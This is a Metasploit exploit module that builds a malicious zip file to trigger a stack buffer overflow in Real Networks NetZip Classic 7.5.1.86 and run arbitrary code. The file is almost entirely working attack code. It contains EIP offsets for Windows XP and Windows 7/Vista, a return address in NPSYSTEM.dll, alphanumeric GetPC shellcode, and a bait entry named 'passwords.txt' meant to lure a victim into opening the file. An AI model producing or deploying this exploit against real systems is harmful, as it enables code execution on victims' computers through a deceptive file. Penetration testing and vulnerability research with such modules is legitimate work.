##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Real Networks Netzip Classic 7.5.1 86 File Parsing Buffer Overflow Vulnerability',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow vulnerability in
        version 7.5.1 86 of Real Networks Netzip Classic.
        In order for the command to be executed, an attacker must convince someone to
        load a specially crafted zip file with NetZip Classic.
        By doing so, an attacker can execute arbitrary code as the victim user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'C4SS!0 G0M3S', # Vulnerability discovery and original exploit
          'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
        ],
      'References'     =>
        [
          [ 'OSVDB', '83436' ],
          [ 'EDB', '16083' ],
          [ 'BID', '46059' ],
          [ 'URL', 'http://proforma.real.com' ]
        ],
      'Platform'          => [ 'win' ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload' =>
        {
          'Space'         => 1000,
          'BadChars'      => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
          'DisableNops'   => true,
          'EncoderOptions' =>
            {
              'BufferRegister' => 'ESI'
            }
        },
      'Targets'        =>
        [
          [
            'Windows XP SP3',
            {
              'Offset' => 247,        # To EIP
              'Ret'    => 0x10061cf9, # PUSH ESP # RETN 08 - NPSYSTEM.dll 7.5.1.86
              'Max'    => 2000,       # Max buffer size
            }
          ],

          [
            'Windows 7/Windows Vista',
            {
              'Offset' => 248,        # To EIP
              'Ret'    => 0x10061cf9, # PUSH ESP # RETN 08 - NPSYSTEM.dll 7.5.1.86
              'Max'    => 2000,       # Max buffer size
            }
          ],
        ],
      'DisclosureDate' => 'Jan 30 2011',
      'DefaultTarget'  => 0))

      register_options(
      [
        OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
        OptString.new('CONTENTNAME', [ true, 'Name of the fake zipped file', 'passwords.txt']),
      ])

  end

  def exploit

    buffer = "#{datastore['CONTENTNAME']}"
    buffer << ' ' * (target['Offset']-buffer.length)
    buffer << [target.ret].pack('V')
    buffer << make_nops(8)

    # GetPC - Non ascii characters get converted
    # alphanum getpc code from corelanc0d3r
    buffer << "\x89\x05"   #jmp short (5 bytes) to 'jmp back' at end
    buffer << "\x5e"       #pop esi
    buffer << "\x41"       #nop (inc ecx)
    buffer << "\x98\x99"   #call esi
    buffer << "\x41"       #nop (inc ecx)
    buffer << "\x8a\x94\x98\x98\x98"  #jmp back to pop esi
    buffer << payload.encoded
    buffer << rand_text_alpha(target['Max']-buffer.length)

    zip = Rex::Zip::Archive.new
    xtra = [0xdac0ffee].pack('V')
    comment = [0xbadc0ded].pack('V')
    zip.add_file(buffer, xtra, comment)

    # Create the file
    print_status("Creating '#{datastore['FILENAME']}' file...")

    file_create(zip.pack)
  end
end
